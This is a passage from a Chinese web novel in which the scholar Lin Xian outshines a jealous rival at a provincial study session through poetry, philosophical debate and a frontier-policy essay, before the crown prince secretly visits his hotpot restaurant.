周巡抚目光灼灼,继续道:“林解元不仅乡试夺魁,文采斐然!更难能可贵的是,能学以致用,格物致知,于民生经济亦有建树!其所创诸物,香皂、花洒、清口胶乃至近日风靡的火锅,皆惠及百姓,便利生活!此方是读书人学以致用、服务社稷之正途!”
他深吸一口气,声音激昂号召道:“望诸位能以林解元为榜样,既读圣贤书亦闻窗外事,胸怀天下脚踏实地。方不负平生所学,不负皇恩浩荡!”
这番话似在滚沸油锅中泼入一瓢冷水,瞬间炸裂!
巡抚大人竟在如此正式场合,公开点名表扬林闲,并将其树为全省举子的榜样。这是何等的荣耀、肯定和……无形的压力!
所有目光,再次如聚光灯般死死聚焦在林闲身上!
羡慕、嫉妒、不可思议……
种种目光,几乎要将他穿透!
面对这堪称“捧杀”或“极致推崇”的突如其来,林闲却依旧稳如泰山。
他脸上并未露出丝毫得意惶恐之色。
在全场注视下,他缓缓起身。
再次面向周巡抚深深一揖,随后抬起头迎向全场朗声道:“学生林闲,谢抚台大人谬赞!大人教诲经世致用四字重**钧,学生时刻铭记于心。然榜样之称,学生愧不敢当!在座诸位年兄皆乃江南俊杰,各有千秋。学生唯有谨记大人训示,砥砺前行潜心向学,以期他日金榜题名不负皇恩,为江山社稷黎民百姓,尽一份绵薄之力!”
林闲言辞恳切谦逊,却又蕴含着不骄不躁的自信和远大抱负。
他的回应既接住了巡抚的褒奖,又巧妙避免成为众矢之的,更展现了宽广的胸怀和志向。
这份色不变的镇定,这番滴水不漏、恰到好处的应对,再次让全场为之动容!
连主位上那几位见多识广、要求苛刻的老翰林,都忍不住微微颔首,抚须露出激赏之色!
开幕仪式在一种震撼而又充满期待的气氛中结束,林闲无疑成为绝对的核心与焦点。
他人未至而名先扬,乍一登场便凭借封疆大吏的力挺和自身的淡定气度,稳稳占据了此次研习班的“C位”,将“装逼于无形”的境界,发挥得淋漓尽致!
仪式结束后,立刻有大批举子围拢上来,想要与林闲结交攀谈。
林闲并未拒人千里之外,而是面带微笑从容应对,举止得体+言谈有物,让人如沐春风,更是折服了不少才子。
“林年兄真乃我辈楷模!”
一位年轻举子由衷赞道。
“解元公气度,令人心折!日后还望多多指教!”
“闲先生经世致用之论,深得我心!”
也有少数人眼神复杂,远远打量间心中暗自较劲。
但无疑所有人都清楚,这次的研习班,因为林闲的存在,注定不会平静。
而林闲对接下来的瞩目、挑战或是……可能出现的打脸场面,已然做好了充分的准备…..
第147章 诗赋风波:巧咏辣椒赋,打脸赵少
研习班的第一课,在崇正书院宽敞明亮的讲堂内进行。
主讲人是以诗赋见长、在江南文坛享有盛誉的张老进士。
张老年逾花甲,须发皆白面容清癯。一身半旧的深色儒袍,更显学究天人,德高望重。他今日讲授的题目是《诗赋的立意与创新》。
张老进士引经据典,侃侃而谈。
从《诗经》的“风雅颂”,讲到汉赋的铺陈华丽,又谈到唐诗的意境、宋词的格律,深入浅出学养深厚。
他强调诗赋之道贵在“发乎情,止乎礼义”,要“典雅中正,温柔敦厚”,切不可流于鄙俗失了文人体统。
台下众举子凝神静听频频点头,课堂气氛庄重而略显沉闷。
讲至一半,为启发思维活学活用。
张老进士捻须微笑,抛出一个议题道:“诸位,诗赋咏物,古已有之。然当今之世,新物层出不穷。譬如眼前这自鸣钟眼镜,乃至远航而来的望远之物等。如何咏唱此等新物,既能贴合其性又能不失诗赋之典雅,乃至蕴含深意?诸位可畅所欲言。”
此议题一出,课堂气氛稍显活跃。
不少举子纷纷发言,力求引经据典,往圣贤道理上靠拢。
一位瘦高个举子起身,摇头晃脑道:“学生以为,咏自鸣钟,当思逝者如斯夫,不舍昼夜,喻光阴之宝贵,当惜时如金!”
另一位圆脸举子接口道:“妙!咏眼镜,则可喻擦亮双眼,明察秋毫,乃格物致知、洞明世事之象征!”
“咏望远镜,当有‘欲穷千里目,更上一层楼’之胸怀!”
“咏玻璃杯,则可取其‘晶莹剔透’,喻君子之澄明心境,表里如一!”
发言者皆力求高雅引经据典,赢得阵阵附和与赞许的点头。
张老进士也面露嘉许之色,频频颔首。
就在这时,一个略显尖酸的声音,从讲堂角落响起,打破了这片“和谐”。
众人循声望去,只见说话的是一位身着锦袍、面色略带虚浮、眼神闪烁的年轻举子——
正是赵得贵赵公子(乃是之前骚扰苏元的那个赵蟠的堂兄,仗着家族势力捐了个监生,又勉强混了个举人功名,素来不学无术,却喜好附庸风雅,搬弄是非)。
赵得贵斜睨着坐在前排、气定神闲的林闲,嘴角勾起一抹不怀好意的笑容,阴阳怪气地开口了:“嘿嘿,说到这新事物嘛……咱们在座的林解元,那可是行家里的行家,翘楚中的翘楚!又是香皂又是花洒,最近更是搞出了个什么红油火锅,风靡全城。尤其是那火锅,啧啧,红彤彤、火辣辣,吃起来那是满头大汗,衣袖翻飞,气氛热烈!”
他故意顿了顿,吊足众人胃口才拖长了语调,带着明显的挑衅道:“学生才疏学浅,实在好奇得很。不知林解元……可否就以您这拿手的火锅为题,当场赋诗一首,也好让我等开开眼界,见识一下林解元是如何将这满足口腹之欲的俗物,升华到张老所说的典雅中正之境的?也好让我等学学,这商贾之道与诗文雅趣,是如何完美融合的?哈哈哈!”
这番话夹枪带棒,尖酸刻薄。
明着是请赋诗,暗地里却极尽讥讽之能事,将林闲的商业成就与“口腹之欲”、“俗物”挂钩,暗指其商人气息太重,格调不高,难登大雅之堂,其心可诛!
全场所有人的目光,齐刷刷聚焦到林闲身上。
有与林闲交好者的担忧,有纯粹看热闹的好奇,更有一些平日对林闲名声和财富暗自嫉妒者,等着看笑话的幸灾乐祸!
课堂气氛,瞬间变得紧张而微妙!
连讲台上的张老进士也蹙起眉,觉得赵得贵这题目确实有些刁难。
“火锅”之物,似乎难入诗赋雅境。
他有些担忧地看向林闲。
面对这充满恶意的刁难,林闲神色不变。
他缓缓站起身,先向讲台上的张老进士躬身行了一礼。
动作从容不迫,仪态优雅。
然后他才转向赵得贵,嘴角带着一丝淡然笑意。
“赵兄此言,倒是提醒了在下。”
林闲开口,声音不疾不徐,瞬间吸引了所有人的注意力。
“张老教导,诗赋之道固然重典雅中正。然学生以为亦贵在真切自然,充满活力。万物皆可入诗,关键在于立意是否高远,是否能于平凡中见精神。”
他略一沉吟,目光扫过全场朗声道:“既然赵兄提到火锅,而火锅之魂,在于汤底,汤底之魄,在于辣椒。那林某便避重就轻,取其精魄,以这锅中辣椒为题,试作一首《咏辣椒》,遣词造句或有不当之处,权当抛砖引玉,请张老与诸位年兄斧正!”
说罢他负手而立,微仰起头,目光中透出思索与灵感迸发的神采,声情并茂吟诵道:
“生来赤胆热心肠,何惧煎熬沸鼎汤?”
【此句一出,拟人手法巧妙,将辣椒的颜色(赤)、形状(胆)、特性(热) 及其耐煮(何惧煎熬) 的特性生动道出,形象贴切!不少举子眼前一亮,微微点头。】
“非是平生性烈狂,只为醒世破寒霜!”
【转折精妙!为辣椒的“烈性”正名,赋予其“醒世破寒”的积极意义和崇高使命,立意陡然拔高!张老进士眼中闪过一丝惊异,捻须的动作慢了下来。】
“朱衣褪尽香犹在,辣透千般滋味长。”
【描绘细腻,寓意深远!既写了辣椒煮久褪色仍留香的特性,又暗喻了一种历经磨难、本质不改、影响深远的精神或品格!“辣透千般滋味”更是双关,既指味觉,也指人生感悟!台下已有人忍不住低声喝彩!】
“莫道此物只快意,宴席无君不成章!”
【结尾铿锵有力,画龙点睛。直接回应赵得贵的刁难,指出辣椒(乃至火锅)并非仅仅满足口腹之欲,而是宴席(可引申为生活、文化)中不可或缺、画龙点睛的一笔!】
格局宏大,自信满满!
此诗吟诵完毕,整个讲堂出现了刹那的死寂!所有人都沉浸在诗的意境和巧思中!
随即!
“妙啊——!!!”
哄堂的喝彩声、惊叹声,如火山爆发般,瞬间席卷了整个讲堂。
这笑声中,充满了难以置信的惊奇、由衷的赞叹和被打动后的畅快!
“绝了!绝了!将辣椒比作赤胆忠心的义士,妙趣横生,立意新奇!” 一位老成持重的举子拍案叫绝!
“‘醒世破寒霜’!这立意何止是拔高,简直是化腐朽为神奇!将饮食之趣提升到了济世情怀!” 另一位才思敏捷的举子激动地分析。
“‘朱衣褪尽香犹在’!此句精妙!似在咏物,又在喻人,品格自现!林解元大才!”
“最后一句更是神来之笔!‘宴席无君不成章’!哈哈哈!说得太对了!没了辣椒,那火锅还有何滋味?此言大气!”
就连讲台上素来严谨的张老进士,也忍不住抚掌赞叹,脸上露出发自内心的笑容,连连点头赞道:“好!林解元此诗,用语虽略显直白,不尚雕琢。然构思巧妙,比喻新奇立意高远。于寻常俗物中,发掘出不凡之气节与功用,于平凡生活中,见出真切之活力与精神!化俗为雅,点铁成金。更难得的是,应答迅捷,才思敏捷!不错!此诗,当为此课咏物之典范!”
赵得贵本想刁难林闲,让其当众出丑,没料到林闲竟能如此急才,写出这样一首妙诗,反而赢得了满堂喝彩,连张老都赞不绝口。
他顿时面红耳赤张口结舌,站在角落进退两难,恨不得找个地缝钻进去,活脱脱成了一个跳梁小丑!
林闲淡然一笑,并未理会面如死灰的赵得贵,而是向张老和众人拱了拱手,趁热打铁朗声补充道:“谢张老谬赞,谢诸位年兄抬爱。学生方才拙作,不过是有感而发。正如张老所教导诗贵立意,学生深以为然。无论咏物还是言志,关键在于发自本心观照现实,与时代同呼吸。辣椒虽微其性烈而益人,如世间许多新生事物或许看似‘不雅’,却蕴含着勃勃生机与独特的价值。为诗为文若能摒弃偏见,真诚去关注这些活生生的现实与变化,或许比墨守成规、空谈玄理更显‘真切’,也更能赋予诗文不朽的生命力。”
这番话,既完美回应了张老进士的讲课精髓,又有力驳斥了赵得贵之流迂腐、狭隘的文学观,更旗帜鲜明地表明了自己关注现实、勇于创新的文学主张,逻辑清晰境界高远,可谓一箭三雕,逼格冲天!
第一天的诗赋课,林闲便以这种出人意料、精彩绝伦的方式,轻松化解了恶意刁难,再次牢牢奠定自己的“C位”!
课后大批举子围拢上来,纷纷向林闲表达敬佩之意,请教诗文。
林闲从容应对,妙语连珠,更显其学识渊博,气度非凡。
“林年兄大才!今日真是让我等大开眼界!”
“解元公之才思,如辣椒般烈而有益,令人清醒啊!”
“闲先生关注现实之论,振聋发聩,受教了!”
而赵得贵,则早已灰溜溜地溜出了讲堂,成为了众人的笑柄。
经此一事,再无人敢轻易挑衅林闲的才学与智慧。
林闲用一场漂亮的“辣椒赋”反击,不仅打了脸,更展了才定了调,将锋芒展现得淋漓尽致。
第148章 研习次日:论道破桎梏
研习班的第二日,课程转向了更为艰深的经义解读与策论写作。
讲堂内气氛庄重肃穆,空气中弥漫着无形的压力。
主讲人,依旧是张老进士。
他今日精神矍铄,引经据典鞭辟入里,重点阐述《大学》中“格物致知,诚意正心,修身齐家治国平天下”这一儒家修行次第的深意,尤其强调了“格物”作为起点和基础的重要性。
但见张老进士阐述剖析:“朱子有云:所谓致知在格物者,言欲致吾之知,在即物而穷其理也。此格字,乃穷究之意;物字,包罗万象。”
见众举子听的有些入戏,他话锋一转抛出一个引发深思的问题:“然诸位且思且言,这格物之物当以何为先为重?是一草一木,飞禽走兽所蕴含的自然之理?还是人伦日用,君臣父子所规范的纲常之道?”
此问一出,课堂气氛顿时活跃。
多数举子谨守朱子集注的权威,纷纷发言。
一位面容严谨的举子起身,引经据典道:“学生以为,当以读书穷理为先。圣贤之书,乃天理人伦之荟萃,格此书物方能明道知理。”
“正是!”
另一人附和:“朱子亦云:上而无极、太极,下而至于一草、一木、一昆虫之微,亦各有理。然穷理当有次第,当自博而约,自易而难。人伦日用切于身心,自是首要。”
“若舍人伦大道而先究草木微末之理,恐是舍本逐末,玩物丧志矣!”
就在这一片“重人伦,轻器物”的主流论调中,那个令人不悦的尖酸声再次响起。
赵得贵迫不及待站起身,目光刻意瞟向前排气定神闲的林闲,提高声调挑事:“诸位年兄高见,字字珠玑!”
他先假意捧了一句,随即话锋陡转阴阳怪气道:“尤其这‘舍本逐末,玩物丧志’八字,真乃金石良言,振聋发聩啊!想想也是,若读书人不将心思放在研习圣贤之道、明辨人伦大义上,反而终日沉迷于钻研些奇技淫巧,比如什么香皂何以去污,花洒何以出水,乃至那火锅何以辣得人满头大汗……”
赵少故意拖长了音,讥讽之意溢于言表:“美其名曰‘格物’,实则恐是耽于享乐,追逐铜臭,与那匠户何异?如此‘格物’,只怕非但不能‘致知’,反而移了性情,坏了根本!张老,您说是不是这个理儿?”
这番话含沙射影,矛头直指林闲,极其恶毒。
直接将林闲的商业实践与“玩物丧志”、“追逐铜臭”画上等号,试图从根本上否定其行为的正当性与价值!
讲堂内瞬间安静下来,所有人的目光都聚焦在林闲身上,气氛紧张得几乎要凝固!
连张老进士也微微蹙起了眉头,觉得赵得贵此言过于偏激且有失厚道,但他也想看看林闲如何应对。
面对这近乎人身攻击的刁难,林闲却神色如常,甚至嘴角还挂着一丝若有若无的淡然笑意。
他不慌不忙站起身,先向面露忧色的张老进士恭敬地行了一礼,动作从容优雅,尽显风范。
“张老所教,博大精深,学生受益良多。赵年兄所言,亦……不乏警醒之意。”林闲开口,声音清越平稳,先礼后兵,姿态无可挑剔。他目光扫过全场,最后坦然迎向张老进士探究的目光,朗声道:“学生对‘格物’二字,平日亦有些许实践与思考,今日愿抛砖引玉,求教于张老与诸位年兄。”
他略作停顿,整理思绪,随即条分缕析,侃侃而谈:“学生浅见,‘格物’之‘物’包罗万象,本无大小轻重之分,更不应有大道和小道之人为隔阂。朱子云即物而穷其理,关键在于‘即’与‘穷’二字。无论圣贤经典还是一草一木,乃至日用器具,但凡存在皆有其理,皆可为我所格。”
“譬如学生研究香皂去污,需明油脂皂化之理。探究花洒出水均匀,需懂水流压强之道。调制火锅汤底美味,需究五味调和之妙。此过程,观察、比较、试验、总结,步步皆需‘格’之精神。此‘格’物之过程,所锻炼者,乃是观察入微之眼力,逻辑推演之思维,实践验证之能力。”
紧接着他拔高立意,打通二者:“此种由具体器物入手‘格’得之能力【明察、善思、笃行】与吾辈研读圣贤经典时所需之格【考据、辨析、融会贯通】,其内在之理,岂非相通?其运用之法,岂非相近?若能以格器物所得之缜密思维与务实精神,反哺于格圣贤之道,或可洞察更微,理解更深。反之,若能将圣贤之道中蕴含的智慧与仁爱运用于改善器物,便利民生造福百姓,则格物之功,方可谓落到实处,臻于止于至善之境!”
最后,他总结升华,气势磅礴:“故学生以为,格物之真义,在于心怀万物,穷理不息。在于打通壁垒,知行合一。穷究草木器物之理,可训练思维,洞悉自然规律,此为真;深研人伦日用之道,可明辨是非,修养品德,此为善。真与善,犹如车之两轮鸟之双翼,相辅相成缺一不可,共同构筑‘格物致知’之完整路径与崇高目标。若偏废其一或画地为牢,则恐如盲人摸象,难得格物之全貌,亦难臻‘至知’之境界!”
这一番论述层层递进,既有理论高度,又有实践支撑,既尊重传统经义,又大胆创新发展,将“格物”的内涵和外延提升到了一个前所未有的高度和广度!
整个讲堂,鸦雀无声!
足足过了数息,端坐主位的张老进士猛地一拍案几,霍然起身,脸上充满了激动与赞赏的红光,胡须微颤,声音因兴奋而有些发颤:
“妙!妙极!妙不可言!”
他连说三个“妙”字,目光炯炯地凝视着林闲,毫不吝啬赞美之词:“好一个格物无大小,重在即与穷!好一个真与善,犹如车之两轮,鸟之双翼!林解元此论,高屋建瓴别开生面。真正把握住了‘格物’之活精神,打破了章句训诂之桎梏。非学养深厚、兼有实践者不能道也!老夫……老夫今日受教了!”
张老进士如此高度的评价,如同一锤定音!全场瞬间爆发出热烈的议论和赞叹声!
“高见!真是高见
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!林年兄之论,令我茅塞顿开!”
“打通器物之理与人伦之道,此言大善!以往吾等确是狭隘了!”
“知行合一,真善并举!此乃治学之正道也!闲兄大才!”
赵得贵面如死灰,瞠目结舌地站在那里,恨不得找个地缝钻进去。
他本想借经义打压林闲,没想到反被对方一番高论驳得体无完肤,还赢得了张老进士的极高赞誉,简直是自取其辱!
是夜,月华如水,洒满崇正书院。
学舍区大多灯火通明,举子们仍在挑灯夜读,或三五成群讨论课业,空气中弥漫着紧张的备考气息。
突然,一阵清越带着几分异域风情的吉他声,打破了书院夜晚的宁静。
乐声节奏舒缓,仿佛在梳理白日纷繁的思绪,又似在与浩瀚星空进行一场无声的对话。
这新奇而动人的乐声,立刻吸引众多举子的注意。
许多人推开窗户侧耳倾听,有人走出房门循声张望。
乐声的源头,正是林闲所住的那处独立的、颇为雅致的小院。
只见院中,林闲一袭月白长衫,坐于石凳之上。
他正就着皎洁的月和廊下的灯火,怀抱那把紫檀木吉他。指尖轻拢慢捻间,神情专注而惬意。
林闲弹奏的并非喧闹的曲调,而是几首他自己改编的、融合了古典韵味的舒缓乐曲,意境高远,令人心旷神怡。
“是林解元!”
“此乃何物?音色竟如此独特动听!”
“这乐曲……闻之令人心静,白日里辩论的焦躁仿佛都消散了。”
很快,十数位被乐声吸引的举子,包括几位白日里对林闲十分佩服的年轻才俊,纷纷来到小院外,犹豫着是否打扰。
林闲早已察觉,他手下未停,抬头对众人微微一笑,做了个“请进”的手势,朗声道:“月色正好,良宵难眠。林某闲来弹奏,以涤心尘。诸位年兄若有雅兴,不妨入院同坐,听曲品茗,闲谈论道,亦是乐事。”
众人欣喜异常,鱼贯而入。
林闲让书童搬来凳椅,奉上清茶和“元启清口胶”。
众人围坐院中,听着空灵的吉他曲,品着清茶嚼着提神清口胶,话题从白天的经义辩论,自然延伸到诗词歌赋,再到各地风土人情。
气氛轻松愉悦格调高雅,与白日讲堂的严肃紧张形成鲜明对比。
“林兄真乃雅人!读书之余,亦有此等雅趣,令人钦佩!”
“此物名为吉他?音色开阔,别有一番韵味。闻此雅音再读圣贤书,仿佛别有一番体会。”
“闲兄白日高论,晚间雅奏,真是张弛有道,深得养生治学之三昧!”
林闲此举,无形中再次引领了风潮。
在普遍强调苦读的备考氛围中,他以一种极具品味和魅力的方式,展示了何为“劳逸结合”的名士风度,何为“高雅生活”与“高效学习”的完美结合。
这一夜,吉他声成了崇正书院令人向往的背景音,也让林闲的高大形象更加深入人心,逼格直接突破天际!
第149章 策论定乾坤,三策安边惊四座
研习班的最后一日,气氛凝重而充满期待。
策论写作与点评开启了高潮部分。
这是重中之重,直接考察考生对时政的洞察力、分析问题的深度以及解决实际问题的能力。
主讲的老翰林年高德劭,曾官至礼部侍郎。致仕后仍关心国事,对学文要求极高。
讲堂内鸦雀无声,只闻纸笔摩擦的沙沙声。
老翰林目光扫过台下正襟危坐的举子们,缓缓开口,声音沉稳而有力,抛出了一道紧扣当前朝廷棘手难题的策论:
“西北边患频仍虏骑时扰,耗费国帑糜烂边地。尔等皆为国之栋梁,试论此顽疾当如何标本兼治,以期固我社稷之本?”
此题一出,举座皆惊!
西北边患是朝廷心腹大患,牵扯军事、经济、民族、吏治等多方面,绝非泛泛而谈所能应对。
举子们纷纷凝神静思,继而奋笔疾书各显神通。
有的引经据典,主张“王者之师,有征无战”,强调加强军备增派精兵,以雷霆万钧之势扫荡蛮夷扬我国威。
有的大谈仁义,认为“远人不服,则修文德以来之”,强调推行教化怀柔远人,使其沐浴王化心悦诚服。
还有的较为务实,建议“屯田实边,发展经济”,移民垦殖积谷练兵,以利诱之以实边备。
此刻那赵得贵似乎憋足了劲要一雪前耻,他抓耳挠腮半晌最终憋出一篇辞藻华丽、骈四俪六的文章。
其核心观点是:“圣天子在位,德化远播,光被四表。边患之起,实因蛮夷冥顽不灵,不识王化。故当以仁德感化为本,王道怀柔为主,辅以天兵威慑,彰显天朝上国之仁恕,则丑虏必感佩天恩,稽首来归。”
通篇充斥着道德说教、盲目乐观和不切实际的幻想,对于边地实际情况、虏骑习性、治理难点等关键问题避而不谈,或轻描淡写。
林闲这边则是从容铺纸,凝神片刻似已穿透重重关山,看到了西北症结。
随即他轻呼一口气,挥毫泼墨间一篇对策具体的策论跃然纸上。
文中林闲直接开门见山,每一句都落在实处。
老翰林收上文章,逐一快速浏览,偶尔微微颔首或蹙眉。
轮到赵得贵的文章时,老翰林只扫了几眼便微微摇头,将其置于一旁未作任何点评,无视的态度比批评更让赵得贵难堪。
而当老翰林拿起林闲的策论时,初时目光淡然,但随着阅读的深入他的眼神越来越亮,脸上露出了难以掩饰的惊讶与激赏!
读到精彩处,他甚至忍不住轻轻拍了一下案几!
终于老翰林按捺不住内心的激动,竟拿着林闲的文章霍然起身!
他扫过全场,对满堂举子宣布道:“诸位!且暂停笔墨,静心聆听!今日老夫得见一篇奇文,足可为尔等范式!此文乃江陵林闲林解元所作,老夫现读与诸位共赏之!”
全场哗然,所有目光聚焦老翰林手中的文章。
何等文章,竟能让要求苛刻的老翰林如此失态,并推为范文?
但见他清了清嗓子,抑扬顿挫朗声读道:
“学生林闲谨对:西北边患,其表在戎狄侵扰,烽烟时起;其里在民生困苦、治理失当、利益驱动三者交织为患。故曰标本兼治,非一策可竟全功,当三管齐下,循序渐进:
其一治标:立威止战,以武卫疆。当前虏骑猖獗边民涂炭,首要在于震慑。当精汰冗兵选练锐卒,更新器械巩固关隘,完善烽燧预警体系。遣干练将才持重防守,遇敌则击其七寸速战速决,以强大可随时投入的武力为后盾,打疼来犯之敌,换取边境即时之安定。此乃‘以战止战’之必需,无此,则一切治本之策皆为空谈!”
读至此,已有不少务实派的举子暗暗点头,觉得此言切中要害。
“其二,治本之上。富民实边,釜底抽薪。边患根源在于地瘠民贫,虏骑为何屡犯?盖因抢掠所得,远胜劳作!故长远之策,在于让边民富起来。当大规模移民实边,给予田宅、种子、耕牛;兴修水利,推广耐寒高产作物;大力鼓励边贸互市,以我之丝绸茶铁,易其牛羊皮**。使边地仓廪实,百姓富。民富则恋其业安其居,自发保家卫国。且贸易往来利益交织,虏骑亦需仰赖互市,劫掠之心自减。此乃釜底抽薪之根本大计!”
“其三,治本之深。革新治理,长治久安。边地之乱亦因治理不善,官吏贪腐盘剥边民。处置不公,易激化矛盾。故须选派清廉干练之官员,严厉整肃吏治抚恤各族,依法办事确保公平。同时利用商贸、通婚、文化传播等渠道,加深与周边部族联系,对其首领施以恩威,分化瓦解死硬派,拉拢中间派,逐步构建利益与共,荣辱相依的边疆命运共同体。此乃谋求‘长治久安’之深层次战略!”
“综上所述三者相辅相成,犹如鼎之三足,缺一不可。纯任武力则耗竭国力,怨仇愈深。空谈德化则示弱于人,自取其辱。忽视治理则根基不稳,前功尽弃。唯有武力为盾,经济为基治理为魂,步步为营持之以恒,方能使西北边陲,固若金汤,百姓安居,国家永安!”
老翰林读罢全文,讲堂内陷入了一片死寂!
所有人都被这篇高屋建瓴、洞察深邃的策论深深震撼了!
这哪里是一篇应试文章?这分明是一份老成谋国、极具操作性的边疆经略方略!既有战略高度,又有战术细节!对边情的把握,对人性、利益的洞察,对治理关键点的拿捏,精准得可怕!
“好!好!好!”
死寂之后,老翰林连道三声“好”,情绪激动胡须微颤。
他灼灼看向林闲,毫不吝啬最高的赞誉道:“立论高远剖析深刻,对策务实环环相扣。此文非深谙时务、通晓经济、明察吏治、胸怀全局者不能为也。林解元,汝真乃经世之奇才!此篇策论足可直达天听,为朝廷擘画!老夫……老夫阅卷无数,今日方知何为策论之典范!”
老翰林这番石破天惊的赞誉,如同在平静的湖面投下巨石,瞬间引爆了全场!
“天啊!直达天听?老翰林竟给出如此评价!”
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“三策定边!武力、富民、治理!层层递进,滴水不漏!闲兄大才!”
“与此文相比,我等方才所写,简直是孩童涂鸦!”
“经世奇才!名副其实!”
赞叹声、佩服声、惊呼声此起彼伏!
所有举子看向林闲的目光,充满了无比的敬佩甚至是一丝敬畏!
此等见识,已远超同辈!
赵得贵脸色惨白如纸,浑身发抖又羞又恼,嫉妒得几乎要发狂!
他酸溜溜低声嘟囔,声音虽小,但在激动的余波中却显得格外刺耳:“哼……不过是些……商贾逐利的言论……屯田通商……岂是圣贤……王道……”
他的声音不大,但在此刻相对安静的环境下,却被附近几人听到,包括林闲。
林闲闻声缓缓转过头,目光平静看向赵得贵。
他并未动怒,反而嘴角勾起怜悯与不屑的笑。
他站起身面向赵得贵,字字铿锵道:
“赵兄此言,林某不敢苟同,亦为赵兄之见感到惋惜。”
他随即开大,气势逼人:“圣贤之道,首重经世致用!若边地百姓食不果腹、衣不蔽体,终日活在虏骑铁蹄的恐惧之下,空谈王道德化何益?不过是空中楼阁,画饼充饥!若边地官吏贪腐横行,治理混乱民怨沸腾,德化又从何谈起?只怕是缘木求鱼,适得其反!”
见赵德贵汗流浃背,林闲步步紧逼追问:“学生文中所述,精练士卒是为保境安民,移民屯田是为富民实边,鼓励商贸是为互通有无、分化虏势,整顿吏治是为清明**、收服人心!哪一件不是实实在在的民生国计?哪一件不需要具体的‘格物’之功去调查研究、去落实执行?”
“你…我….”
赵德贵语塞,结结巴巴说不出话。
林闲见状,直接给予他暴击:“让边民安居乐业,使国家繁荣安定,边境永固!此方是最大的‘仁义’!此方是圣贤之道在当下的具体体现和最终目的!若视民生疾苦为无物,置国家安危于不顾,终日只知空谈道德,闭门造车,此非真知圣贤之道,实乃迂腐误国!赵兄,以为然否?”
这一番义正词严、有理有据的驳斥,如最后一记重锤,将赵得贵彻底打入了深渊!
他面红耳赤,嘴唇哆嗦着却一个字也说不出来。
在众人鄙夷、嘲讽的目光中,恨不得当场晕死过去!
老翰林抚掌大笑:“说得好!经世致用,方为真学问!林解元,老夫今日,真是……快哉!快哉!”
研习班便在林闲这无可挑剔、碾压全场的完美表现中,缓缓落下帷幕。
林闲不仅展现了过人的才学,更树立了务实、创新、自信的独特形象。
离开省城时,无数举子自发前来送行,言语间充满了由衷的敬佩与结交之意。
所有人都清晰地意识到,明年的春闱这位林解元,必将是一颗耀眼得令人无法直视的新星!
而赵得贵则早在一片嘲笑声中,灰溜溜提前逃离了省城,彻底成为了一个笑话和反面教材。
第150章 微服南巡:太子暗访疑更深
京城。
春闱的紧张如无形的蛛网,同样波及到皇城的角落。
东宫之内。
太子周扬虽端坐明堂,批阅着仿佛永远也处理不完的奏章。
但江南的动向尤其是林闲,时不时让他有些烦躁。
苏元被“明升暗降”调往西北,效果未达预期,反而似乎让林闲与赵王汉王的联系更紧密。
胡媚娘传回的消息语焉不详,字里行间竟透着一丝前所未有的谨慎甚至是不安。
而赵王汉王那边,近来似乎也因与“元启”的合作而财源广进,势力隐隐有所增强……
这一切,都让太子感到不明朗的威胁。
这林闲已不仅仅是一个简单举子,更像是一个能搅动各方势力的不安定因素。
“不能再坐视不理了。”
太子放下朱笔,眼中闪过一丝冷厉。
他必须亲自去看看这林闲到底是何方神圣,他的“元启”究竟有何魔力。
随后太子寻了个“体察民情、巡视漕运”的冠冕堂皇的理由,带着一队扮作家丁护卫的高手微服出京,一路南下直奔江南。
此行看似寻常,实则暗藏机锋。
其核心目的,便是要近距离观察林闲和他的“产业”。
第三天,太子一行悄无声息进入了繁华不输京城的江南省城。
他没有惊动任何地方官员,而是如同一位家资巨万的北方豪商,住进了一家精致且背景干净的客栈。
安顿下来后,太子做的第一件事便是挥退旁人,只留下心腹侍卫首领沉声吩咐道:“去,仔细查查那个元启火锅,特别是那家所谓的旗舰店。本宫……我要知道,它究竟有何过人之处,能引得全城疯狂。”
侍卫首领领命而去,不过半日便带回消息。
他面色有些古怪道:“殿下,打听清楚了。那元启火锅如今是省城头一号的热闹去处,生意火爆至极。据说……想吃上一顿,需得提前数日预约,一席难求。”
“预约?”
太子眉头微蹙,指尖轻敲桌面冷冷道:“一介商贾之物,竟也摆起这般架子?我倒要亲眼瞧瞧,是何等琼浆玉液、龙肝凤髓,能有如此吸引力。想想办法,今晚我要在那个店里用膳。”
“是!”
侍卫首领心领神会。所谓“想想办法”,自然是动用一些非常规手段。
很快,一名原本预约的绸缎商,便“欣然”让出了自己的席位。
华灯初上,秦淮河畔流光溢彩。
太子换上一身低调而贵气的锦袍,带着两名气息内敛的贴身护卫,来到“元启火锅”旗舰店所在的那条繁华街道。
尚未走近,太子周扬便被眼前的景象微微震撼!
只见火锅店门前人山人海,乌泱泱一片!
等候的队伍从店门口一直蜿蜒到街角,最后又拐了个弯!
喧闹说笑声、伙计维持秩序的吆喝声交织在一起,空气中弥漫着一股诱人的麻辣鲜香。
这热闹非凡的场面,与京城那些讲究规矩、等级森严的老字号酒楼截然不同,充满了一种野性而蓬勃的生命力!
“这……”
一名护卫下意识手按刀柄,被这混乱而密集的人群弄得有些紧张。
周扬摆了摆手,目光深邃地打量着这间灯火通明、人声鼎沸的店铺,门脸上“元启”两个鎏金大字在灯光下熠熠生辉。
他心中暗忖:“不过是一餐饭食,竟能引得如此多人趋之若鹜……这林闲,笼络人心的手段,倒是不俗。”
在侍卫的护卫下,太子穿过拥挤的人群。
亮出号牌后,直接被殷勤的伙计引上了二楼的雅间。
该雅间布置清雅,一扇雕花木窗正对着一楼大堂,视野极佳。
太子落座后并未急于点菜,而是目光扫视楼下大堂。
大堂内更是热闹,几十张桌子座无虚席。
人人面前一口造型奇特的鸳鸯锅,红汤翻滚。
食客们吃得额头冒汗,脸颊通红,气氛热烈。
跑堂的伙计如同穿花蝴蝶般高声唱喏,手脚麻利。
就在这时太子的目光猛地一凝,定格在了大堂角落的一桌旁!
只见一个身着月白色短褂、腰系围裙的年轻男子,正端着一個盛满食材的大托盘,熟练为客人上菜!
那男子身姿挺拔,眉眼间带着一种从容不迫的气度,不是林闲又是谁?!
“他……竟然……”
太子心中剧震,几乎以为自己眼花了!
一个名动江南的解元公,即将参加春闱的举子,竟然在这喧闹的市井之地,做着这等跑堂伺候人的活计?!
这完全颠覆了太子对“士人”身份的认知!士农工商,商为末流,亲自服务宾客,更是被视为贱役!
这林闲,竟能如此……如此放下身段?
更让太子心惊的是林闲并非作秀,他动作娴熟自然,与客人交谈时笑容亲切,丝毫没有读书人常见的清高或拘谨,反而透着一股接地气的亲和力。
周围的食客似乎也**以为常,甚至有不认识的人热情与他打招呼,称他“闲哥儿”!
“能屈能伸……与三教九流打成一片……注重实务,不尚空谈……”
